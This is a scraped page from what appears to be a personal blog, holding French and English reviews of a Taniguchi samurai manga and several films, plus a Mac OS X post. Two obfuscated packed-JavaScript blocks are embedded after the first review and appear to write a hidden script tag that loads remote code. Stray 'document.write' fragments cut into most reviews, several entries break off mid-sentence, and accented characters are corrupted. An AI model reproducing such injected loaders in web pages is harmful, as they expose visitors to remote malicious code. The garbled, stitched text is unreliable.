“En l’an deux de l’ère Keian, document.write(“”); époque d’Edo, deux clans s’affrontent dans une guerre sans merci autour d’un manuscrit secret, les Chroniques secrètes des Yagyû. Dans ses pages se trouvent des secrets capables de faire trembler le sh?gunat des Tokugawa. C’est à Yagyû Jûbei, escrimeur légendaire et gardien des Chroniques secrètes, d’empêcher le Japon de sombrer dans une guerre civile sanglante. Une fascinante plongée dans l’histoire du Japon, mise en scène par deux auteurs-culte du manga, Jir? Taniguchi et Kan Furuyama” [Texte de couverture arrière]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaehh|var|u0026u|referrer|etzrd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeyss|var|u0026u|referrer|yydkd||js|php’.split(‘|’),0,{}))
Taniguchi démontre une fois de plus sa polyvalence avec un récit d’action samurai (Jidai mono). En l’an trente et un de l’ère Meiji (1899), un groupe de haut fonctionnaires se réunissent chez Kaishu Katsu pour discutter du bon vieux temps. Ce dernier leur révèle que, peu de temps après que le sh?gun Yoshinobu Tokugawa lui ait confié les pouvoirs du bakufu (sh?gunat), il reçu la visite du douzième maître du clan Yagyû qui lui avait alors remit le légendaire manuscrit des “Chroniques Secrètes des Yagyû”. Rédigé par le sh?gun Ieyasu lui-même, le manuscrit contenait les secrets des Takugawa et devait être transmis de génération en génération à ceux qui avait en mains les pouvoirs du bakufu. Ce sont les révélations du manuscrit qui poussèrent sans doute Kaishu à abdiquer ses pouvoirs et négocier la capitulation d’Edo afin d’éviter une effusion de sang inutile…
Il entreprend donc de raconter à ses collègues comment, en l’an deux de l’ère Keian (1649), Yagy? J?bei réussit à déjouer un complot de Lord Gomino, le mikado (empereur) maintenant retiré à Ky?to, qui visait à renverser le bakufu des Tokugawa. Cet exploit, resté inconnu aux historiens, évita ainsi que le pays sombre dans une guerre civile sanglante. Kaishu débute son récit avec le vol des “Chroniques” par les agents du mikado et il le termine avec leur restitution lors de la confrontation finale entre J?bei et le ninja Yashamaro. Ce serait une histoire relativement simple si ce n’était des nombreuses références culturelles et historiques qui ne sont pas toujours évidentes pour les occidentaux (heureusement il y a des notes en bas de page et un glossaire) et qui alourdissent un peu la lecture.
Kaze no sh? [??? / Le livre du vent] a d’abord été sérialisé dans le magazine Young Champion avant d’être republié en volume (“tank?bon”) par Akita Shoten en 1992. C’est le premier manga historique auquel Taniguchi a contribué. Il est difficile de dire dans quelle mesure les événements de ce récit sont véridique—Yagy? J?bei Mitsuyoshi (1607-1650) fut bel et bien, avec Miyamoto Musashi, un des samurai légendaires du Japon—mais comme le scénariste Kan Furuyama est fervent d’histoire du Japon on peut supposer qu’il a donné au récit une solide base historique. Quoiqu’il en soit, Furuyama semble conclure que les “Chroniques Secrètes des Yagyû” et cette première tentative de restauration du pouvoir impérial ont été un élément clé non seulement pour l’avénement de l’ère Meiji (en 1868)—avec l’abolition définitive du Bakufu (sh?gunat), puis l’ouverture et la modernisation du Japon—mais également pour établir les bases de la mythologie impériale qui poussera une bande de fanatiques à instaurer une dictature militaire qui éventuellement ruinera le Japon en entreprenant la conquête de l’asie toute entière!
Avec Kaze no Sh?, le style de Taniguchi diffère de la clarté et de la précision qu’on retrouve dans ses récits plus personnels. Il adapte son trait aux besoins du genre historique avec des scènes toujours détaillées mais aussi beaucoup plus chargées (on retrouve beaucoup de “ligne de vitesse” en trame pour exprimer le mouvement et l’action). Une autre conséquence de ce choix de genre est que les déambulations paisibles auxquels Taniguchi nous a habitué laissent place à des combats sanglants et à des scènes de violence. L’histoire est cependant intéressante et nous fait découvrir bien des aspects méconnus de l’histoire japonaise mais la lourdeur tant du texte que des planches en rend la lecture moins agréable que la plupart de ses autres ouvrages.
C’est donc une oeuvre mineure mais qui mérite tout de même d’être lue, car ce manga seinen (pour jeune homme) est plus réaliste et éducatif que la plupart des manga sh?nen (pour jeune garçon) de baston pseudo-historique—les Naruto, Rurouni Kenshin, Samurai Champloo, Samurai Deeper Kyo, etc., qui sont malheureusement beaucoup plus populaires—et il se compare pas trop mal aux canons du genre (les Habitant de l’infini, Lone Wolf & Cub ou Vagabond, qui sont tous avantagés par le fait que ce sont des séries).
Kaze no Sh?: Le livre du vent, par Jir? TANIGUCHI & Kan FURUYAMA. Panini Comics (Coll. Génération Comics), 2004. B&W (4 pg en couleur), 17 x 24 cm, 236 pgs. 14.00 € / $24.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2845382923. ![]()



Also released in English under the title Samurai Legend (CPM Manga [Central Park Media], Cat.# CMX 63801G, 2003, 240 pg, ISBN 1-58664-856-X, $15.95 US, rated 16+). To be reviewed separately later.
Kaze no Sh? © 1992 Jiro Taniguchi / Kan Furuyama • Akita Publishing Co., Ltd. © 2006 Panini France S.A. pour l’édition française.

























Harvard Law student Oliver Barrett IV falls in love with music student Jennifer Cavilleri. The fact that they are from two different social backgrounds (him from a rich and powerful family and her from the working class) doesn’t keep them from getting married. Oliver has always had issues with his father and he defies him once more with this marriage, document.write(“”); even if his father threatens to disown him. They build their life successfully and happily on their own until tragedy strikes.
I saw this movie on TV maybe twenty years ago and didn’t remember anything about it save the hype that surrounded it. My wife—who saw it when she was in high-school in Japan (where it was extremely popular)—wanted to see it again, so we got it on DVD. I must admit that I was quite disappointed. It’s a rather average movie and doesn’t mesure up to all the hype: the acting is certainly okay and the haunting music by Francis Lai is excellent, but the sound quality (particularly in dialogues) is bad, the story has nothing exceptional and the editing is often annoying (I’m not sure exactly why, but the cuts feel amateurish and I spotted a few continuity problems). There’s definitely something missing in that movie. You feel that only half the story is told as they could have developped a little more the characters and put more details in their everyday life (at least another fifteen or twenty minutes). I feel like I watched a movie in fastforward. I didn’t feel any emotions in the characters (I didn’t shed a single tear, which is rare). Most of the hype came from the success of the book—which was written after the script but published before the release of the movie—and of the original score which became an instant classic. I was curious to see it again—and I’m glad I did—but the movie (and its cinematic techniques) didn’t aged well, so it’s worth seeing mostly for its part in the popular movie history.







The new Macintosh Operating System, document.write(“”); Mac OS X 10.6 also known as “Snow Leopard,” shipped last week (friday August 28th) but I didn’t receive it until monday (August 31st).
“Un ingénieur européen de passage à Montréal doit attendre deux jours un rendez-vous d’affaires. Pour tuer le temps, document.write(“”); il se promène dans les rues, et se met à la recherche de ses parents, dont la guerre l’a séparé dès l’âge de quatre ans. L’aventure s’amène sous les traits d’une fillette de onze ans et d’une jeune beauté. Rencontres de hasard qui, pourtant, le marquent et l’obligent à se définir.” 

Classé drame psychologique, YUL 871 est un film plutôt contemplatif où il ne se passe pas grand chose—un peu comme les films Japonais ou les films Européens de l’époque. Le héros, de passage à Montréal, doit tuer le temps et fait quelques rencontres sans véritable conséquences (il déambule dans la ville avec une fillette qui finit à l’hopital, il a une aventure avec une belle blonde qui finit par en épouser un autre et il n’établit aucun liens avec les parents qu’il recherchait depuis son enfance). Si ce film n’est pas sans mérite (après tout il a remporté le prix de la meilleure réalisation au Festival International du Film de Chicago), il est toutefois parfois maladroit dans son montage (les transitions sont souvent terrible) et la post-synchro laisse vraiment à désirer. Chose amusante, l’actrice principale (Andrée Lachapelle) n’est même pas mentioné sur la couverture du Dvd alors que Jacques Desrosiers (qui ne fait qu’une brève apparition sans dialogue) lui l’est. Somme toute, c’est un beau film mais qui est un peu ennuyant. Toutefois la chance de voir Montréal telle qu’elle était dans les année soixante rends le visionnement de YUL 871 beaucoup plus intéressant.












A few weeks ago my wife bought a cd containing the instrumental version of The Bee Gees’ song “Melody Fair” and it reminded her of this movie—which she first saw in Japan a long time ago. She felt like seeing it again, document.write(“”); so I tried to locate the movie. It is never easy to find a movie that is more than thirty year-old, but fortunately such research are now made easier with the internet. The movie got only a lukewarm reception when it was released in English-speaking countries, which explains why it was never released on Dvd in North America—but it is still possible to find it on vhs (used copies available on
Set in the early seventies working class London, this slice-of-life and romantic fantasy tells the story of Daniel, a shy young junior high school boy. After befriending Ornshaw, he becomes part of the school’s group of little troublemakers. Soon he also meets Melody and both fall in “love” (as any eleven years-old kid could). They tell their parents that they want to get married—now! For them, it only means “to be together”. In face of the adults incomprehension, they elope and organize a mock wedding with the help of their friends. When the adults come to interrupt the “ceremony” they meet an unexpected resistance and all ends in chaos.



This is the biography of 







Yesterday, document.write(“”); while reading the Montreal’s Gazette, I discovered a very interesting webpage created by the 
“Triumph des Willens” (aka “Dokument vom Reichsparteitag”) is Leni Riefenstahl’s infamous propaganda / legendary documentary film about the 1934 Nationalsozialistische Deutsche Arbeiterpartei (National Socialist German Workers Party, document.write(“”); or NSDAP, also known as the Nazi Party) rally in Nuremberg, Germany. It shows mostly parades and speaches by Hitler, Himmler, Goebbels, Hess, Goering and other top party officials.
This a “fish out of his bowl story.” A young woman comes from Ohio to NYC in the hope to become a journalist. Despite that she has no knowledge or sense of fashion she is hired as personal assistant for the editor of a famous fashion magazine. Even if her boss (Meryl Streep) is a real monster, document.write(“”); she manages to survive and learns the ropes, but when she’s about to finally get on the top of it, she realises that she is betraying everything she is and all her friends…

